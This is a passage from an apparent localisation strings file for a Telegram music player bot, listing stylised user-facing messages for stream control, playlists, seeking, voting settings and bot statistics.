reload_2 : "» ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ʀᴇғʀᴇsʜᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ."
reload_3 : "» ғᴀɪʟᴇᴅ ᴛᴏ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ, ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ᴛʜᴇ ʙᴏᴛ ɪs ᴀᴅᴍɪɴ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ."
reload_4 : "» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nʀᴇʙᴏᴏᴛɪɴɢ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ."
reload_5 : "sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇʙᴏᴏᴛᴇᴅ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ.\n\nsᴛᴀʀᴛ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ..."
admin_1 : "» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ʀᴇsᴜᴍᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?"
admin_2 : "➻ sᴛʀᴇᴀᴍ ᴘᴀᴜsᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀"
admin_3 : "» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ᴘᴀᴜsᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?"
admin_4 : "➻ sᴛʀᴇᴀᴍ ʀᴇsᴜᴍᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀"
admin_5 : "➻ sᴛʀᴇᴀᴍ ᴇɴᴅᴇᴅ/sᴛᴏᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀"
admin_6 : "➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀\n\n» ɴᴏ ᴍᴏʀᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs ɪɴ {1}, ʟᴇᴀᴠɪɴɢ ᴠɪᴅᴇᴏᴄʜᴀᴛ."
admin_7 : "ᴇʀʀᴏʀ ᴡʜɪʟᴇ ᴄʜᴀɴɢɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}."
admin_8 : "» ᴘʟᴇᴀsᴇ ᴅɪsᴀʙʟᴇ ʟᴏᴏᴘ ᴘʟᴀʏ ᴠɪᴀ /loop disable ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴛᴏ sᴋɪᴘ ᴀɢᴀɪɴ."
admin_9 : "ᴘʟᴇᴀsᴇ ᴜsᴇ sᴘᴇᴄɪғɪᴄ ɴᴜᴍʙᴇʀs ғᴏʀ sᴋɪᴘ, ʟɪᴋᴇ 1, 2, 4..."
admin_10 : "ᴀᴛʟᴇᴀsᴛ 2 ᴛʀᴀᴄᴋs ɴᴇᴇᴅᴇᴅ ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\n\nᴄʜᴇᴄᴋ ᴛʜᴇ ǫᴜᴇᴜᴇ ʙʏ : /queue"
admin_11 : "» ɴᴏᴛ ᴇɴᴏᴜɢʜ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\n\nᴘʟᴇᴀsᴇ sᴋɪᴘ ʙᴇᴛᴡᴇᴇɴ 1 ᴀɴᴅ {0}"
admin_12 : "» ғᴀɪʟᴇᴅ ᴛᴏ sᴋɪᴘ ᴛᴏ sᴘᴇᴄɪғɪᴄ ᴛʀᴀᴄᴋ.\n\nᴄʜᴇᴄᴋ ʟᴇғᴛ ǫᴜᴇᴜᴇ ʙʏ : /queue"
admin_13 : "» ᴘʟᴇᴀsᴇ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload"
admin_14 : "» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\n\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload"
admin_15 : "» ғᴀɪʟᴇᴅ ᴛᴏ sʜᴜғғʟᴇ.\n\nᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ ʙʏ : /queue"
admin_16 : "» ǫᴜᴇᴜᴇ sʜᴜғғʟᴇᴅ ʙʏ {0}.\n\nᴄʜᴇᴄᴋ sʜᴜғғʟᴇᴅ ǫᴜᴇᴜᴇ ʙʏ : /queue"
admin_17 : "ᴇxᴀᴍᴘʟᴇ :\n\n/loop enable/disable\n/loop 10/9/8/7"
admin_18 : "» ʟᴏᴏᴘ ᴇɴᴀʙʟᴇᴅ ғᴏʀ {0} ᴛɪᴍᴇs ʙʏ : {1}."
admin_19 : "» ʟᴏᴏᴘ ᴘʟᴀʏ ʜᴀs ʙᴇᴇɴ ᴅɪsᴀʙʟᴇᴅ ʙʏ : {0}."
admin_20 : "ᴇxᴀᴍᴘʟᴇ :\n\n/seek ᴏʀ /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs]"
admin_21 : "» ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ᴅɪɢɪᴛs ғᴏʀ sᴇᴇᴋɪɴɢ ɪɴ sᴇᴄᴏɴᴅs."
admin_22 : "» ʟɪᴠᴇ sᴛʀᴇᴀᴍs ᴄᴀɴ'ᴛ ʙᴇ sᴇᴇᴋᴇᴅ."
admin_23 : "» ᴛʀʏ sᴇᴇᴋɪɴɢ ᴡɪᴛʜ ᴀ ʟᴏᴡᴇʀ ᴅᴜʀᴀᴛɪᴏɴ.\n\nᴘʟᴀʏᴇᴅ {0} ᴏᴜᴛ ᴏғ {1} ᴍɪɴᴜᴛᴇs."
admin_24 : "sᴇᴇᴋɪɴɢ...\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
admin_25 : "» sᴛʀᴇᴀᴍ sᴜᴄᴄᴇssғᴜʟʟʏ sᴇᴇᴋᴇᴅ.\n\nᴅᴜʀᴀᴛɪᴏɴ : {0} ᴍɪɴᴜᴛᴇs\nʙʏ : {1}"
admin_26 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴇᴇᴋ."
admin_27 : "» ᴏɴʟʏ ʏᴏᴜᴛᴜʙᴇ sᴛʀᴇᴀᴍ's sᴘᴇᴇᴅ ᴄᴀɴ ʙᴇ ᴄᴏɴᴛʀᴏʟʟᴇᴅ ᴄᴜʀʀᴇɴᴛʟʏ."
admin_28 : "{0} sᴘᴇᴇᴅ ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ\n\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴘʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ."
admin_29 : "» ʙᴏᴛ ɪs ᴀʟʀᴇᴀᴅʏ ᴘʟᴀʏɪɴɢ ᴏɴ ɴᴏʀᴍᴀʟ sᴘᴇᴇᴅ."
admin_30 : "» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nsᴏᴍᴇᴏɴᴇ ᴇʟsᴇ ɪs ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ sᴛʀᴇᴀᴍ."
admin_31 : "ᴄʜᴀɴɢɪɴɢ sᴘᴇᴇᴅ..."
admin_32 : "» ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ...\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {0}"
admin_33 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ."
admin_34 : "» ᴄʜᴀɴɢᴇᴅ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}x\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}"
admin_35 : "ᴛʜᴇ ᴠᴏᴛɪɴɢ ʜᴀs ᴇɴᴅᴇᴅ ʙᴇᴄᴀᴜsᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ʜᴀs ᴇɴᴅᴇᴅ ғᴏʀ ᴡʜɪᴄʜ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ."
admin_36 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴘᴇʀғᴏʀᴍ ᴛʜɪs ᴀᴄᴛɪᴏɴ ʙᴇᴄᴀᴜsᴇ ғᴏʀ ᴡʜɪᴄʜ ᴛʀᴀᴄᴋ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ ɪs ᴇɪᴛʜᴇʀ ᴇɴᴅᴇᴅ ᴏʀ sᴛᴏᴘᴘᴇᴅ."
admin_37 : "sᴜᴄᴄᴇssғᴜʟʟʏ ɢᴏᴛ {0} ᴜᴘᴠᴏᴛᴇs."
admin_38 : "» ᴀᴅᴅᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ."
admin_39 : "» ʀᴇᴍᴏᴠᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ."
admin_40 : "ᴜᴘᴠᴏᴛᴇᴅ."
start_1 : "{0} ɪs ᴀʟɪᴠᴇ ʙᴀʙʏ.\n\n✫ ᴜᴘᴛɪᴍᴇ : {1}"
start_2 : "нєу {0}, 🥀\n\n๏ ᴛʜɪs ɪs {1} !\n\n➻ ᴀ ғᴀsᴛ & ᴘᴏᴡᴇʀғᴜʟ ᴛᴇʟᴇɢʀᴀᴍ ᴍᴜsɪᴄ ᴘʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\n\n──────────────────\n๏ ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʜᴇʟᴩ ʙᴜᴛᴛᴏɴ ᴛᴏ ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴍʏ ᴍᴏᴅᴜʟᴇs ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅs."
start_3 : "ʜᴇʏ {0},\nᴛʜɪs ɪs {1}\n\nᴛʜᴀɴᴋs ғᴏʀ ᴀᴅᴅɪɴɢ ᴍᴇ ɪɴ {2}, {3} ᴄᴀɴ ɴᴏᴡ ᴩʟᴀʏ sᴏɴɢs ɪɴ ᴛʜɪs ᴄʜᴀᴛ."
start_4 : "🎄 sᴜᴘᴇʀɢʀᴏᴜᴘ ɴᴇᴇᴅᴇᴅ 🎄\n\nᴘʟᴇᴀsᴇ ᴄᴏɴᴠᴇʀᴛ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ sᴜᴘᴇʀɢʀᴏᴜᴘ ᴀɴᴅ ᴛʜᴇɴ ᴀᴅᴅ ᴍᴇ ᴀɢᴀɪɴ.\n\nʜᴏᴡ ᴛᴏ ᴍᴀᴋᴇ sᴜᴘᴇʀɢʀᴏᴜᴘ ?\n- ᴍᴀᴋᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴄʜᴀᴛ ʜɪsᴛᴏʀʏ ᴠɪsɪʙʟᴇ ᴏɴᴄᴇ."
start_5 : "↝ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ ↜\n\nᴛʜɪs ᴄʜᴀᴛ ɪs ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴏɴ {0} ᴅᴀᴛᴀʙᴀsᴇ.\nʀᴇǫᴜᴇsᴛ ᴀ sᴜᴅᴏ ᴜsᴇʀ ᴛᴏ ᴜɴʙʟᴀᴄᴋʟɪsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ ᴏʀ ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ."
start_6 : "😲 ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ 😲\n\n📌 ᴛɪᴛʟᴇ : {0}\n\n⏳ ᴅᴜʀᴀᴛɪᴏɴ : {1} ᴍɪɴᴜᴛᴇs\n👀 ᴠɪᴇᴡs : {2}\n⏰ ᴩᴜʙʟɪsʜᴇᴅ ᴏɴ : {3}\n📎 ᴄʜᴀɴɴᴇʟ : {5}\n\n🥀 sᴇᴀʀᴄʜ ᴩᴏᴡᴇʀᴇᴅ ʙʏ {6}"
help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /"
help_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ."
#Playlist
playlist_1 : "**ᴜsᴀɢᴇ:** /play [ᴍᴜsɪᴄ ɴᴀᴍᴇ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀᴜᴅɪᴏ]\n\nɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʙᴏᴛ's sᴇʀᴠᴇʀ ᴘʟᴀʏʟɪsᴛ ! ᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ."
playlist_2 : "ɢᴇᴛᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
playlist_3 : "ʏᴏᴜ ʜᴀᴠᴇ ɴᴏ ᴘʟᴀʏʟɪsᴛ ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀ."
playlist_4 : "ꜰᴇᴛᴄʜᴇᴅ ᴘʟᴀʏʟɪsᴛ:\n\n"
playlist_5 : "Duration : {0} Mins..."
playlist_6 : "ᴄᴏɴᴛᴀᴄᴛ ᴍᴇ ɪɴ ᴘᴍ ꜰᴏʀ ᴅᴇʟᴇᴛɪᴏɴ ᴏꜰ ᴘʟᴀʏʟɪsᴛs."
playlist_7 : "ᴛʀᴀᴄᴋs ɪɴsɪᴅᴇ ᴘʟᴀʏʟɪsᴛ: {0}\n\nᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴs ᴛᴏ ᴅᴇʟᴇᴛᴇ ᴀ ᴘᴀʀᴛɪᴄᴜʟᴀʀ ᴛʀᴀᴄᴋ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\n\nᴛᴏ ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ: ᴘʀᴇss ᴅᴇʟ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ʙᴜᴛᴛᴏɴ."
playlist_8 : "ᴀʟʀᴇᴀᴅʏ ᴇxɪsᴛs\n\nᴛʜɪs ᴛʀᴀᴄᴋ ᴇxɪsᴛs ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ."
playlist_9 : "sᴏʀʀʏ ! ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ {0} ᴍᴜsɪᴄ ɪɴ ᴀ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ."
playlist_10 : "ᴘʟᴀʏʟɪsᴛ ᴀᴅᴅɪᴛɪᴏɴ\n\n{0}\nᴀᴅᴅᴇᴅ ᴛᴏ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ."
playlist_11 : "sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ."
playlist_12 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ."
playlist_13 : "ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛs ꜰʀᴏᴍ ᴛʜᴇ sᴇʀᴠᴇʀ. "
playlist_14 : "**ᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴇʟᴇᴛᴇ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ?**\n\nʏᴏᴜ'ʟʟ ʟᴏsᴛ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴀɴᴅ ᴛʜɪs ᴄᴀɴ'ᴛ ʙᴇ ʀᴇᴄᴏᴠᴇʀᴇᴅ ʟᴀᴛᴇʀ."
playlist_15 : "[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ]({0})"
playlist_16 : "Queued Playlist :"
playlist_17 : "Position -"
playlist_18 : "ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ᴏ̨ᴜᴇᴜᴇ : [ᴄʜᴇᴄᴋ]({1})"
lang_1 : "» ᴘʟᴇᴀsᴇ ᴄʜᴏᴏsᴇ ᴛʜᴇ ʟᴀɴɢᴜᴀɢᴇ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ sᴇᴛ ᴀs ᴛʜɪs ɢʀᴏᴜᴘ's ᴅᴇғᴀᴜʟᴛ ʟᴀɴɢᴜᴀɢᴇ :"
lang_2 : "ʟᴀɴɢᴜᴀɢᴇ ᴄʜᴀɴɢᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ."
lang_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʟᴀɴɢᴜᴀɢᴇ."
lang_4 : "Yᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴏɴ ᴛʜᴇ sᴀᴍᴇ ʟᴀɴɢᴜᴀɢᴇ."
#Lyrics
lyrics_1 : "**ᴜsᴀɢᴇ:**\n\n/lyrics [ ᴍᴜsɪᴄ ɴᴀᴍᴇ]"
lyrics_2 : "sᴇᴀʀᴄʜɪɴɢ ʟʏʀɪᴄs..."
lyrics_3 : "❌ ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ʟʏʀɪᴄs 😭.\n\n💡**ᴛʀɪᴇᴅ sᴇᴀʀᴄʜɪɴɢ ꜰᴏʀ:** {0}"
lyrics_4 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴀɴᴅ ɢᴇᴛ sᴇᴀʀᴄʜᴇᴅ ʟʏʀɪᴄs ᴛᴏ ᴀᴠᴏɪᴅ ʟᴏɴɢ sᴘᴀᴍ ᴛʏᴘᴇs ʟʏʀɪᴄs sᴇᴀʀᴄʜ."
setting_1 : "{0} sᴇᴛᴛɪɴɢs ᴘᴀɴᴇʟ\n\nᴄʜᴀᴛ ɪᴅ : {1}\nᴄʜᴀᴛ ᴛɪᴛʟᴇ : {2}\n\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ғᴏʀ ᴄʜᴀɴɢɪɴɢ sᴇᴛᴛɪɴɢs."
setting_2 : "» ᴅɪʀᴇᴄᴛ : ᴘʟᴀʏs sᴇᴀʀᴄʜ ǫᴜᴇʀɪᴇs ᴅɪʀᴇᴄᴛʟʏ.\n\n» ɪɴʟɪɴᴇ : ʀᴇᴛᴜʀɴs ɪɴʟɪɴᴇ ʙᴜᴛᴛᴏɴs ꜰᴏʀ ᴄʜᴏᴏsɪɴɢ ʙᴇᴛᴡᴇᴇɴ ᴠɪᴅᴇᴏ & ᴀᴜᴅɪᴏ."
setting_3 : "» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs [sᴋɪᴘ, ᴘᴀᴜsᴇ, ʀᴇsᴜᴍᴇ ᴇᴛᴄ.] ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\n» ᴀᴅᴍɪɴ ᴏɴʟʏ : ᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs."
setting_4 : "» ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ."
setting_5 : "» ɢʀᴏᴜᴘ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ ᴡʜᴇʀᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ɪs ɢɪᴠᴇɴ.\n\n» ᴄʜᴀɴɴᴇʟ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ ʏᴏᴜ ᴡᴀɴᴛ. sᴇᴛ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay"
setting_6 : "» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ʜᴇʀᴇ.\n\n» ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴘʟᴀʏ ᴛʜᴇ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ."
setting_7 : "» ᴘʟᴇᴀsᴇ ᴅᴇғɪɴᴇ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay"
setting_8 : "ᴡʜᴇɴ ᴛʜɪs ᴍᴏᴅᴇ ɪs ᴇɴᴀʙʟᴇᴅ, ᴘᴇᴏᴘʟᴇ ᴡɪᴛʜᴏᴜᴛ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀғᴛᴇʀ ᴀ ᴄᴇʀᴛᴀɪɴ ᴀᴍᴏᴜɴᴛ ᴏғ ᴠᴏᴛᴇs."
setting_9 : "ᴄᴜʀʀᴇɴᴛ ᴜᴘᴠᴏᴛᴇs ʀᴇǫᴜɪʀᴇᴅ ғᴏʀ ᴜsɪɴɢ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀʀᴇ : {0}"
setting_10 : "ᴠᴏᴛɪɴɢ ᴍᴏᴅᴇ ɪs ᴅɪsᴀʙʟᴇᴅ."
setting_11 : "ʟᴏᴡᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 2. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ʙᴇʟᴏᴡ 2"
setting_12 : "ʜɪɢʜᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 15. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ᴀʙᴏᴠᴇ 15"
set_cb_1 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ᴩᴀɴᴇʟ..."
set_cb_2 : "ɢᴇᴛᴛɪɴɢ ᴩʟᴀʏ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..."
set_cb_3 : "sᴇᴛᴛɪɴɢ ᴜᴩ ᴄʜᴀɴɢᴇs..."
set_cb_4 : "» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
set_cb_5 : "» ɢᴇᴛᴛɪɴɢ ʙᴀᴄᴋ..."
gstats_1 : "ɢᴇᴛᴛɪɴɢ {0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ...\n\nɪᴛ ᴍᴀʏ ᴛᴀᴋᴇ ᴀ ᴡʜɪʟᴇ, ᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
gstats_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ sᴛᴀᴛs ᴏғ {0}."
gstats_3 : "{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :\n\nᴀssɪsᴛᴀɴᴛs : {1}\nʙʟᴏᴄᴋᴇᴅ : {2}\nᴄʜᴀᴛs: {3}\nᴜsᴇʀs : {4}\nǫᴜᴇʀɪᴇs: {5}\nᴍᴏᴅᴜʟᴇs : {6}\nsᴜᴅᴏᴇʀs : {7}\n\nᴀᴜᴛᴏ ʟᴇᴀᴠɪɴɢ ᴀssɪsᴛᴀɴᴛ : {8}\nᴘʟᴀʏ ᴅᴜʀᴀᴛɪᴏɴ ʟɪᴍɪᴛ : {9} ᴍɪɴᴜᴛᴇs"
gstats_4 : "ᴛʜɪs ʙᴜᴛᴛᴏɴ ɪs ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs."
gstats_5 : "{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :\n\nᴍᴏᴅᴜʟᴇs : {1}\nᴘʟᴀᴛғᴏʀᴍ : {2}\nʀᴀᴍ : {3}\nᴘʜʏsɪᴄᴀʟ ᴄᴏʀᴇs : {4}\nᴛᴏᴛᴀʟ ᴄᴏʀᴇs : {5}\nᴄᴘᴜ ғʀᴇǫᴜᴇɴᴄʏ : {6}\n\nᴘʏᴛʜᴏɴ : {7}\nᴘʏʀᴏɢʀᴀᴍ : {8}\nᴘʏ-ᴛɢᴄᴀʟʟs : {9}\n\nsᴛᴏʀᴀɢᴇ ᴀᴠᴀɪʟᴀʙʟᴇ : {10} ɢɪʙ\nsᴛᴏʀᴀɢᴇ ᴜsᴇᴅ : {11} ɢɪʙ\nsᴛᴏʀᴀɢᴇ ʟᴇғᴛ : {12} ɢɪʙ\n\nsᴇʀᴠᴇᴅ ᴄʜᴀᴛs : {13}\nsᴇʀᴠᴇᴅ ᴜsᴇʀs : {14}\nʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs : {15}\nsᴜᴅᴏ ᴜsᴇʀs : {16}\n\nᴛᴏᴛᴀʟ ᴅʙ sɪᴢᴇ : {17} ᴍʙ\nᴛᴏᴛᴀʟ ᴅʙ sᴛᴏʀᴀɢᴇ : {18} ᴍʙ\nᴛᴏᴛᴀʟ ᴅʙ ᴄᴏʟʟᴇᴄᴛɪᴏɴs : {19}\nᴛᴏᴛᴀʟ ᴅʙ ᴋᴇʏs : {20}"
playcb_1 : "» ᴀᴡᴡ, ᴛʜɪs ɪs ɴᴏᴛ ғᴏʀ ʏᴏᴜ ʙᴀʙʏ."
playcb_2 : "» ɢᴇᴛᴛɪɴɢ ɴᴇxᴛ ʀᴇsᴜʟᴛ,\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
